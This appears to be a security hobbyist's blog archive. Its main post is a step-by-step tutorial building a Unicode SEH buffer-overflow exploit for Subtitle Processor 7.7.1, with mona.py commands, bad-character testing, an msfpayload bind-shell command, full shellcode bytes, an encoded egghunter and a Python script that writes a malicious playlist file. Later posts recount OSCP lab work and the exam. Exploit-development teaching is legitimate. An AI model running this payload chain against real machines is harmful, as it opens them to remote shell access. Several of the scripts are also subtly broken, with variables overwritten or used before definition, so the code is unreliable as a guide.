So I have been getting busier as of late and I have been trying to find something to do in my spare time. This has been going along pretty well but I think its about time we step it up a notch. I want to do something bigger and better than before, something that will challenge me and help me learn all the same. So with no further ado, I hereby introduce:
EXPLOIT FORNIGHTS
Yep. Its here. Its coming. Its your weekly dosage of exploit tutorials. Here's what you should know:
This will be occurring every fortnight (2 weeks) or less
This will be occurring every fortnight (2 weeks) or less
There will be a video and a corresponding paper tutorial for each target that I do.
There will be a video and a corresponding paper tutorial for each target that I do.
The targets will be randomly selected off of exploit-db.com but will be at a level that I can explain to you guys (tbh the unicode egghunter tutorial that I did I still think I could have improved on)
The targets will be randomly selected off of exploit-db.com but will be at a level that I can explain to you guys (tbh the unicode egghunter tutorial that I did I still think I could have improved on)
Yes that means no ROP exploits (as cool as they may be I don't get them yet)
Yes that means no ROP exploits (as cool as they may be I don't get them yet)
I will be using a Windows XP SP3 host for each of these targets.
I will be using a Windows XP SP3 host for each of these targets.
Understanding of SEH exploits and some previous practice with them.
Some understanding of egghunters and how they are used in exploits.
A hell of a lot of patience.
The ability to search for things you don't understand.
As always, if you don't understand something, first try and see if someone hasn't already answered the question online already. If you still can't find the answer then you can leave a comment below or email me on tekwizz123@gmail.com.
Starting Out
You can find the exploit details at http://www.exploit-db.com/exploits/17217/ along with a link to download the vulnerable program or just click this link which goes to the same thing: http://www.exploit-db.com/wp-content/themes/exploit/applications/aaea2a1dbeaf6ca7c394acbba93461d9-SubtitleProcessor771.zip
Ok with both of those installed go through the installation and just accept the defaults. Once done load the program up in Immunity Debugger (keep holding down SHIFT + F9 until program opens):
Ok now that we have the program opened we will create a simple little test exploit for this baby shall we?
Ok so now we need to compile this with the command:
python *dir to python script*\*whatever the script was named*
Then we load up the resulting subtitle.m3u file by doing:
Click on the File icon
Click on playlist
Navigate to the .m3u file we created.
Click open.
You should get something that looks like this:
You should notice 3 things (sorry these are not clearly shown in the photo, just click on that registers button on the top of the upper right panel to view the registers clearly)
EAX appears to be overwritten with our string that has now been transformed into Unicode.
ESI also seems to be subject to a similar overwrite.
The SEH handler has been overwritten with our string
Looking at the SEH handler:
However we notice something rather peculiar about this exploit. Instead of the SEH handler being overwritten with \x41\x41\x41\x41 as we expected, it is instead overwritten with \x00\x41\x00\x41. WTF? How the heck? Let me explain.
The Peculiarities of Unicode: Character Restriction
Basically what happens is that Unicode expands our characters out. For example:
\x41 in hex becomes \x00\x41 in Unicode.
Similarly something like \x7f will be expanded out to be \x00\x7f in Unicode.
A full list of hex to Unicode translations can be found on this website (interestingly enough I haven't found many website for this, but this seems to have all of them)
Ok so with that out the way we now need to figure out the offsets to NSEH and SEH. To do this we will use mona.py. Simply type in the following in the small white box at the bottom of Immunity and hit enter:
!mona pc 6000
This will generate a metasploit pattern of 6000 bytes. Open the pattern.txt that it creates which will be placed in the folder that you specified on start up. If you don't know what that is you can change it with:
!mona config -set workingfolder C:\logs
(Thanks for corelanc0d3r for providing this information on the front page of his download page)
Ok open it up and copy over the string into the exploit code. It should look like this:
The mona.py pattern creation.
How the exploit should now look.
Ok so now we need to generate the .m3u file again and load it up in the program. When the program crashes with the new file it should look like this:
Now what we could do is do pattern_create to find out the offset but I prefer to use mona.py and is handy feature called "findmsp". To do this type in:
!mona findmsp
If we look at the result we should see a bunch of output. We are only interested in this line though:
This tells us that the NSEH handler was overwritten 4076 bytes in. Now in actuality the NSEH handler is written 4078 bytes in. I'm not sure what causes this and if you want you can use the following code with only 4076 bytes and see the difference but for the sake of space I will not recreate it here.
When we compile this code and run it again we should see this when we look at the SEH chain:
The SEH handler has been overwritten with our C's or \x43 in hex
We now have full control over SEH and NSEH :) But we will see this is only part of the exploit done.
Dealing with Hell: Getting correct values into NSEH and SEH
And now we come to the part that is probably the single section of this exploit that makes it so dang difficult. What we need to do next is so confusing that even I do not fully understand it myself. However I will try to do my best to explain it:
Basically because of the Unicode expansion of bytes, we cannot simply replace NSEH with a 4 byte jump as per what we normally do to get out of the little trap zone of death. Oh no. In Unicode we must walk through little pointy zone of death and hope little pointy zone of death doesn't decide to kill us along the way.
Essentially, because we can't do the jump we must fill NSEH will 2 bytes that when expanded will be transformed into harmless executable instructions in memory. This is harder than it seems. But its not the end of the pain.
To make things even more difficult we must also fill SEH with an address that points to a POP POP RET or a similar instruction (read up on SEH exploits if you don't get this). However not only must this address point to this, but the parts that make up the address must be executable when expanded in memory.
So...yeah. This is what makes this exploit general all around hell (mostly...more pain to come later).
To generate Unicode compatible pointers for overwriting SEH we do the following once the program has fully loaded:
!mona seh -cp unicode
This will output a file called seh.txt with all of the pointers. Which in my case was 50 pointers. *sigh* And only one of them actually works from what I have found. *sigh*
Anyway this is the pointer you need to overwrite SEH with:
I have looked through that list of 50 pointers and found that this one occurs about 25-30 pointers into the list. So basically you would of had to test 30 invalid pointers to find one that would work. This is where the manual work comes into play big time for this exploit.
As for NSEH its relatively simple. I can't explain how they came up with this (cause I sure as hell didn't think of it first) but it works wonderfully and actually makes perfect sense.
NSEH should be:
\x61\x62
Why? Very good question. Basically in memory this expands out to this:
This helps to set all values in the registers to valid addresses so that when do manipulation on them later on they don't point to invalid addresses such as 0x0000000000.
That Second Instruction: More Than Meets the Eye
The second instruction is really what is important to us though. For the purposes of our exploit this simply acts as a NOP instruction. What it does is take the higher two bytes of AX and place them into the address pointed to by EDX. This does nothing in our exploit as EDX does not point to any part of memory that we care about and is thus this can be used as a NOP between instructions.
This will come in handy in a sec. For now lets just make the changes to our exploit and double check that it works fine:
* Note: I'm not sure why the SEH part has to be done 2 times over. Something I'm still looking into. *
If all works fine we should see the following:
We can see that our SEH handler has been correctly overwritten. We now place a breakpoint on this address:
And then if we continue we see this:
YAY :) So we look like we are getting there :)
Adjusting Them Registerrrrs
However we see a small problem:
We only have 38F bytes or 911/2 = 455.5 bytes for our shellcode.
Now you may think this is not a problem, however consider the following:
We still need to encode our payload into Unicode. The additional instructions that will decode our payload from Unicode into the proper instructions that we want will take up extra space.
In order for this Unicode decoder to work (we will be using alpha2) we need to point a register to the beginning of our shellcode. Atm most of our registers point to various locations within our buffer but not to the beginning of the buffer itself. However EBX seems to point to the beginning so we can use this. (Note if it didn't we would have to manually adjust it. You can see how to do this at http://fuzzysecurity.com/tutorials/expDev/5.html )
Which brings us to the problem of adjusting the registers so that one of our registers point to the beginning of our shellcode. We also realize that we are going to need an egghunter to find a full copy of our payload in memory that doesn't cross a memory border. This egghunter will also need to be encoded in Unicode in order for it to work properly.
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
Well when I say the beginning of the shellcode I really mean 12 bytes into the shellcode. Again this won't be repeated here but you can check this for yourself if you want. To account for this we will add in another section to accommodate for this:
buffer = "\x62" * 12
Our new exploit looks like this:
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x90" * (6000 - len(junk+nseh+seh+adjust+buffer))
The first of these instructions will absorb the \x00 from the \xc3 instruction and turn into our NOP instruction. The next 11 will not be executed and turn into \x62\x00:
If all goes well when you execute the RETN instruction you should hit the first "\x90" and the display should look similar to mine:
Finding Bad Characters
Next we need to identify bad characters that will cause our exploit to fail. To do this do the following:
Run the code with Perl and put the resulting output into a file.
Ok once you have done that its a simple matter of copy and pasting each line in place of the "\x90"s, then dumping the code in memory and checking that none of the bytes are corrupted or are missing/modified.
Here is the list of codes in case the code doesn't work for you:
So this is what you would change your code to for the first run:
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"
You should quickly realize that in that line \x00 is not a valid character. Remove it and try again.
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"
We see we still have a problem. Lets split the string up into two segments of equal length and try the first segment.
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x01\x02\x03\x04\x05\x06\x07\x08"
This appears to work. All of the bytes appear in memory correctly and none of them seem to have been changed at all (note that the \x00 's that you see before and after each byte in this string are normal as the program will translate these bytes into Unicode)
Lets try with the other string again:
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x09\x0a\x0b\x0c\x0d\x0e"
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x09\x0a\x0b"
#\x0c\x0d\x0e
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
Still a problem. Try again with just \x09\x0a?
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x09\x0a"
#\x0b\x0c\x0d\x0e
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
And would you believe it. We still have an error. Testing out \x09 and \x0a by themselves should reveal that \x0a is another bad character. Once you are done you can take \x0a and replace the other characters back in.
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x09\x0b\x0c\x0d\x0e"
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
Which returns an error yet again. Try it with just \x0b and you will find its not that one? \x0d?
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x0d"
Yep thats the one. So we also can add \x0d to our list of bad characters. There are no more bad characters for that line so you can place the remaining characters from that line back and you should see them all appear in memory correctly.
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
junk2 = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0d\x0e"
This should now work with all characters appearing correctly in memory. Repeat this process for each line that I pasted above. You should generate the following list of bad characters:
\x00
\x0a
\x0d
\x1a
\x3a
\x5c
\x80
Generating The Bind Shell
To generate the bind shell we could use msfvenom. However I found it kept on including the bad characters in my final payload. So I decided to do it the old way (aka the way I like to do it :P ) :
msfpayload windows/shell/bind_tcp R | msfencode -a x86 -b "\x00\x0a\x0d\x1a\x3a\x5c\x80" -t c
This should generate you shellcode. Copy and paste it into a new file and search through it for each of the bad characters to double check that none of them slipped through. If all is good, make a new section in the code for this shellcode:
#!/usr/bin/python
junk = "\x41" * 4078
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
shellcode = (
"\xdb\xc2\xd9\x74\x24\xf4\xbf\xe6\xcb\xb6\xa3\x5d\x33\xc9\xb1"
"\x4b\x31\x7d\x19\x83\xc5\x04\x03\x7d\x15\x04\x3e\x4a\x4b\x41"
"\xc1\xb3\x8c\x31\x4b\x56\xbd\x63\x2f\x12\xec\xb3\x3b\x76\x1d"
"\x38\x69\x63\x96\x4c\xa6\x84\x1f\xfa\x90\xab\xa0\xcb\x1c\x67"
"\x62\x4a\xe1\x7a\xb7\xac\xd8\xb4\xca\xad\x1d\xa8\x25\xff\xf6"
"\xa6\x94\xef\x73\xfa\x24\x0e\x54\x70\x14\x68\xd1\x47\xe1\xc2"
"\xd8\x97\x5a\x59\x92\x0f\xd0\x05\x03\x31\x35\x56\x7f\x78\x32"
"\xac\x0b\x7b\x92\xfd\xf4\x4d\xda\x51\xcb\x61\xd7\xa8\x0b\x45"
"\x08\xdf\x67\xb5\xb5\xe7\xb3\xc7\x61\x62\x26\x6f\xe1\xd4\x82"
"\x91\x26\x82\x41\x9d\x83\xc1\x0e\x82\x12\x06\x25\xbe\x9f\xa9"
"\xea\x36\xdb\x8d\x2e\x12\xbf\xac\x77\xfe\x6e\xd1\x68\xa6\xcf"
"\x77\xe2\x45\x1b\x01\xa9\x01\xe8\x3f\x52\xd2\x66\x48\x21\xe0"
"\x29\xe2\xad\x48\xa1\x2c\x29\xae\x98\x88\xa5\x51\x23\xe8\xec"
"\x95\x77\xb8\x86\x3c\xf8\x53\x57\xc0\x2d\xf3\x07\x6e\x9e\xb3"
"\xf7\xce\x4e\x5b\x12\xc1\xb1\x7b\x1d\x0b\xda\x4a\x39\xe7\x8d"
"\xae\xbd\x19\x12\x27\x5b\x73\xba\x61\xf3\xec\x78\x56\xcc\x8b"
"\x83\xbd\x60\x03\x14\x8a\x6e\x93\x1b\x0b\xa5\xb7\xb0\xa4\x2e"
"\x4c\xdb\x71\x4e\x53\xf6\xd2\x07\xc4\x8c\xb2\x6a\x74\x90\x9f"
"\x1f\x76\x04\x1b\xb6\x21\xb0\x21\xef\x06\x1f\xda\xda\x1c\x96"
"\x4e\xa5\x4a\xd7\x9e\x25\x8b\x81\xf4\x25\xe3\x75\xac\x75\x16"
"\x7a\x79\xea\x8b\xef\x81\x5b\x7f\xa7\xe9\x61\xa6\x8f\xb6\x9a"
"\x8d\x11\x8b\x4c\xe8\x97\xfd\xfa\x18\x54"
)
junk2 = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0d\x0e"
exploit = junk + nseh + seh + adjust + buffer + junk2
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
Please note that the reason we don't encode the payload in Unicode is because you can actually find a copy of the payload that hasn't been converted into Unicode in memory. To check this do:
View - Memory
Click on the first entry starting with the lowest number.
Right click and click search.
Enter a copy of some of the bytes from your code.
Observe the fact that Immunity finds a copy of your code unconverted in memory.
Generating the Unicode Egghunter + Tag
To generate the last section of this exploit we will need to use skylined's alpha2 alphanumeric shellcode encoder. You can find a copy here: alpha2.c.
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
The next step we will need to do is encode this egghunter into Unicode. To do this we take the code from above and paste it into a new file:
The send egghunter over to your host PC and add it into the exploit.
Finally we add the tag to our exploit, making the final exploit look like this (and yes i forgot to take out junk2 in the last one in case your wondering why this one looks a little different ;) ):
#!/usr/bin/python
junk = "\x41" * (4078-(len(tag + shellcode))
nseh = "\x61\x62"
seh = "\xeb\x46" * 2
adjust = "\x53" # PUSH EBX
adjust = "\x62" # NOP padding to absorb the \x00's that will be added
# after the \x53 instruction in memory
adjust = "\x58" # POP EAX to make eax point to the beginning of our shellcode.
adjust = "\x62" # NOP padding
adjust = "\x50" # PUSH EAX to push eax to the stack...
adjust = "\x62" # NOP padding
adjust = "\xc3" # RETN to go to the beginning of the shellcode....
buffer = "\x62" * 12
tag = "w00tw00t"
shellcode = (
"\xdb\xc2\xd9\x74\x24\xf4\xbf\xe6\xcb\xb6\xa3\x5d\x33\xc9\xb1"
"\x4b\x31\x7d\x19\x83\xc5\x04\x03\x7d\x15\x04\x3e\x4a\x4b\x41"
"\xc1\xb3\x8c\x31\x4b\x56\xbd\x63\x2f\x12\xec\xb3\x3b\x76\x1d"
"\x38\x69\x63\x96\x4c\xa6\x84\x1f\xfa\x90\xab\xa0\xcb\x1c\x67"
"\x62\x4a\xe1\x7a\xb7\xac\xd8\xb4\xca\xad\x1d\xa8\x25\xff\xf6"
"\xa6\x94\xef\x73\xfa\x24\x0e\x54\x70\x14\x68\xd1\x47\xe1\xc2"
"\xd8\x97\x5a\x59\x92\x0f\xd0\x05\x03\x31\x35\x56\x7f\x78\x32"
"\xac\x0b\x7b\x92\xfd\xf4\x4d\xda\x51\xcb\x61\xd7\xa8\x0b\x45"
"\x08\xdf\x67\xb5\xb5\xe7\xb3\xc7\x61\x62\x26\x6f\xe1\xd4\x82"
"\x91\x26\x82\x41\x9d\x83\xc1\x0e\x82\x12\x06\x25\xbe\x9f\xa9"
"\xea\x36\xdb\x8d\x2e\x12\xbf\xac\x77\xfe\x6e\xd1\x68\xa6\xcf"
"\x77\xe2\x45\x1b\x01\xa9\x01\xe8\x3f\x52\xd2\x66\x48\x21\xe0"
"\x29\xe2\xad\x48\xa1\x2c\x29\xae\x98\x88\xa5\x51\x23\xe8\xec"
"\x95\x77\xb8\x86\x3c\xf8\x53\x57\xc0\x2d\xf3\x07\x6e\x9e\xb3"
"\xf7\xce\x4e\x5b\x12\xc1\xb1\x7b\x1d\x0b\xda\x4a\x39\xe7\x8d"
"\xae\xbd\x19\x12\x27\x5b\x73\xba\x61\xf3\xec\x78\x56\xcc\x8b"
"\x83\xbd\x60\x03\x14\x8a\x6e\x93\x1b\x0b\xa5\xb7\xb0\xa4\x2e"
"\x4c\xdb\x71\x4e\x53\xf6\xd2\x07\xc4\x8c\xb2\x6a\x74\x90\x9f"
"\x1f\x76\x04\x1b\xb6\x21\xb0\x21\xef\x06\x1f\xda\xda\x1c\x96"
"\x4e\xa5\x4a\xd7\x9e\x25\x8b\x81\xf4\x25\xe3\x75\xac\x75\x16"
"\x7a\x79\xea\x8b\xef\x81\x5b\x7f\xa7\xe9\x61\xa6\x8f\xb6\x9a"
"\x8d\x11\x8b\x4c\xe8\x97\xfd\xfa\x18\x54"
)
egghunter =
(
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBC6SQGZKOLO0B0RQZOSR88MNNOLKUPZSDJO6XT7NPNP3DTKKJ6OD5JJ6OBUK7KOYWLJA"
)
exploit = junk + tag + shellcode + nseh + seh + adjust + buffer + egghunter
handler = open ("subtitle.m3u", "w")
handler.write(exploit)
handler.close()
Two things to note here:
You have to place the tag + shellcode before the NSEH and SEH overwrite. If you were to have placed it after the egghunter, the shellcode would have ran past the end of the memory block allocated for the program and you shellcode would have been truncated.
When we adjust the length of the junk, we don't times the len of tag + shellcode by 2. This is because when we calculated the amount of \x41 's to use for junk, we already took into account Unicode expansion into our total offset. Thus we don't need to times the tag+shellcode by 2 to account for this.
Anyway thats all I have for now guys. If you want to watch a video of this in action you can see my fairly bad video down here (you will want to watch this in 720 px or higher):
So, I know this is kinda late, but im now OSCP certified!
I ended up staying up late one night (about 2 days back) and at like 3 am I check my email and see this:
Congratulations, you have been certified :)
*extra stuff here*
blah blah blah
you should get your certification mailed to you within 80 days.
*my address and sensitive information here*
end
Yep :) So i should get it mailed to me soon. The only downside is that i will have to mail it to my parents first and then get it mailed to my colledge in england. Nothing I can really do about this unless I want further delays.
Anyway, may or may not be active on here. Kinda busy getting ready for colledge atm + getting the mindset right. If you want to talk to me atm im pretty active on IRC. You can find me on the #offsec or #intern0t sections of Freenode.
Okay I guess a blog post has been looong overdue by this point. Looking back I see the last post I made was a month ago. Let me explain what happened between now and then:
Ok basically after I got stuck in that two week rut, I come to realize that I should ask for help. So basically what happens is that I end up asking people for help, and in exchange I help them out with their problems on #offsec. This actually works quite well, as I end up reinforcing the information that I already learned while learning what I am doing wrong with new ones.
Unfortunetly I have a bit of a problem after that. I got into another 4-5 hosts but I realize I need to do better. Too bad then, because right in the middle of all of this, I have another vacation for a week. To be honest, in retrospect I think I needed that vacation because when I came back from learning how to scuba dive on said vacation, my mind was so much more refreshed and focused.
Anyway, that aside I come back from the vacation and I realize I only have like 3 days left. This then turns into a mad rush as I focus on getting as many last hosts as I can and ask people for help, giving what I can in return. I realize that many of these hosts were not that hard, and that I had just been approaching it from the wrong angle (ex performing brute force on the wrong service or overlooking a simple detail that I underestimated the importance of).
So I end up hacking like another 5-6 hosts in those last few days. And to be honest, I feel rather sad. Why? Well several reasons:
I'm out of lab time. Those labs were fun damn it!
I don't know if I'm really ready at all.
I don't know what hosts I should practice attacking in preparation for the exam.
I didn't get into the Dev or Admin network, only the IT one.
People generally f****d up the host that connected the student network to the dev one.
* On a side note I will say that the decision to take the exam a bit earlier than I planned was not mine. I have college coming up in case you haven't already noticed, and once I get in I am sure as hell not doing something like this on top of course work. So once I realized this, I had to quickly draw up a plan that would allow me to get a retake if necessary and still give me time to pack up my stuff for England.*
Back to the story...
So I have about a week off before I start the exam. So I book it for Wednesday, and start studying. I find a site called boot2root.info which is hosted by g0tmi1k (amazing guy) where I found pretty much every boot2root you will ever need. Ever.
No I wasn't kidding.
EVER.
So after i'm done jumping around the room like a crazed ape, I decide to download a few challenges. Some them I did before, but I thought it would be good to do them again. So I went through Kioptrix 1, then Kioptrix 2, Kioptrix 3 and then WackoPiko. WackoPiko was tbh interesting. I got a web shell in a few minutes (easy one to do tbh) but I got stuck escalating to root. I kept getting mmap not allowed errors.
All of a sudden I hit on one that works. For some reason, the mmap from this one was allowed and I get my root shell :) w00tw00t! I kid you not, that gave me the most immense high of the entire course. And it wasn't even one of their machines :P Idk why, but it just did. The feeling of defeating what looks to be a brick wall is one that never gets old.
Anyway Tuesday rolls around and I wake up and start my day normally. At about 12 pm I check my email and this is pretty much what happens:
*Login in*
Ooh email from offsec.
Wait....hold on...exam?
*click exam pack email*
WHAT THE MOTHER ********!?
IT WAS TODAY?
HOLY.....
*runs to pc and downloads everything*
*runs to other pc and prints out guide*
F*** F*** F*** F** F*** F*** F***
Yeah it was that bad. I had lost 6 hours of my lab time, not realizing that I had booked it for Tuesday. The exam warning email even said this, but I had mistakenly not checked the date (which is sent to you in a format like M/D/Y, and not like Tuesday 12th June 2012.)
So I start the exam. I start running the scans and then damn it, then internet cuts off. Connect back to internet and continue scans...
I gather all the information I can about all the ports available + run any information scans I can run. I keep one file open for my scans, and another for each of the steps that I took.
I then read over the lab guide while waiting for the scans to run. Looking it over I realize that the exploit-dev one will most likely take the longest and decide to start on that one first.
*5 hours later*
I test the exploit. I realize it doesn't quite work yet. Modify the exploit
* 5 1/2 hours later*
I get a system shell on the first host and gather the information I need to prove I hacked it.
The next one falls rather easily, though I end up using a metasploit lifeline on it....hmm nothing here that I can use on the other hosts. I gather all the information I can and attempt the next one.
The next 3 go rather slowly. One of them I end up giving up too early and find what I need after trying all possibilities. From there I get stuck again. After a suggestion from a friend I get in, and get stuck trying to do my privilege escalation. Nothing seems to work. Once again, bouncing ideas off of a friend helps clear my head and I get root on the system.
The same goes for the other one.
The last one I manage to get a shell on the system, but I am unable to root it. In the last hour I attempt to crack the SSH login for one of the users, but of course the time runs out. And when I mean runs out I mean at 24 hours they literally cut you off and force you out. No oh...you can get 10 more minutes. When they say 24 they mean 24. No more, no less.
In the end I end up getting 4 systems down and 1 partially compromized, scoring more than enough points to potentially pass. I crash into bed, which actually turns out to be a rather sleepless night, as I keep tossing and turning. Not that im scared about anything tbh, but my body is still on the "We are Tron. We do not stop. We do not falter. Continuing the hack....w00tw00t found....shell time mode..." kind of mode.
Anyway next day I wake up, and I just generally fool around with some British comedy for the next hour or so. Eventually I get my mind focused and get down to it. It ends up taking a hell of a lot longer than I thought. I must have gone from about 10 am to about 9 pm. No joke. Then again I was on Skype and IRC some of the time so that's probably why. But still, I feel ashamed. So 9 pm roars its messed up son of a gun face and I find out via IRC that I need to add in the exploit details for each exploit. Ok no problem. So I go and get that done. Wait....what about the URL for each and every exploit? Oh god...
So I go on a very long quest to get that done. And believe me, doing that as the last thing on the report is NOT FUN AT ALL. It annoyed me. It taunted me. But I got it done in the end.
11 PM
God time moves fast. I pm rAWjAW. I ask him how big the file size needs to be. He says 10 MB per attachment.
Ok np. Lets compress this baby.....or not? I find it only goes down 1 MB after I attempt to compress it.
* One hasty convo with connection later....*
I find out I really aught to do it in PDF. But PDF is 16 MB....meh i'll try the other method.
So I take my .ODT file and try and split that into multiple files.....
*Some long minutes later*
OOPS. Google doesn't allow sending more than 25 MB in attachments. And my .odt report is 31 MB.
I go and fetch the .pdf file and split it up into parts. All good. Upload and send.
And then I wait....
And I wait.....
And eventually I wait an hour.
I get tired of waiting and PM rAWjAW again.
"Hey mate, did you get the email?"
"We will check now, give us a sec"
By this point im so tired im not thinking straight.
"Yep we got it, should recieve an email soon"
And what do I do? Look at soon, think oh....lets wait some more.
2 AM
Eventually I look at that message again and think...oh I aught to check it now.
*checks*
Yep its there.
I shut everything down for the night and head to bed.
And now here we are the day after all of this, and I have to wait around 3 days for the results to come back. Should be good :)
So thats my entire journey put to an end.
If you liked this, +1
If not, tell me why.
If neither of these, I guess you didn't read it.
That or your just completely neutral and never have an opinion :P
This is more of a question than anything else for you guys.
I'll probably be busy with PWB for the next few weeks until I get to college. In the mean time I'm interested in what you guys are interested in hearing from me.
Here are some of my ideas:
1. iOS Security (would have to be after PWB or around exam time due to time needed to setup and other things)
2. Daily Life and Thoughts
3. More fuzzing and exploitation info.
4. My life in colledge as I learn a hacking degree.
5. *Insert your item here*
Leave a comment below and let me know what you think :)
So its been a while. I apologize for that but between traveling and trying to work on this course I haven't given this blog too much thought until now. So time to make up for all of that.
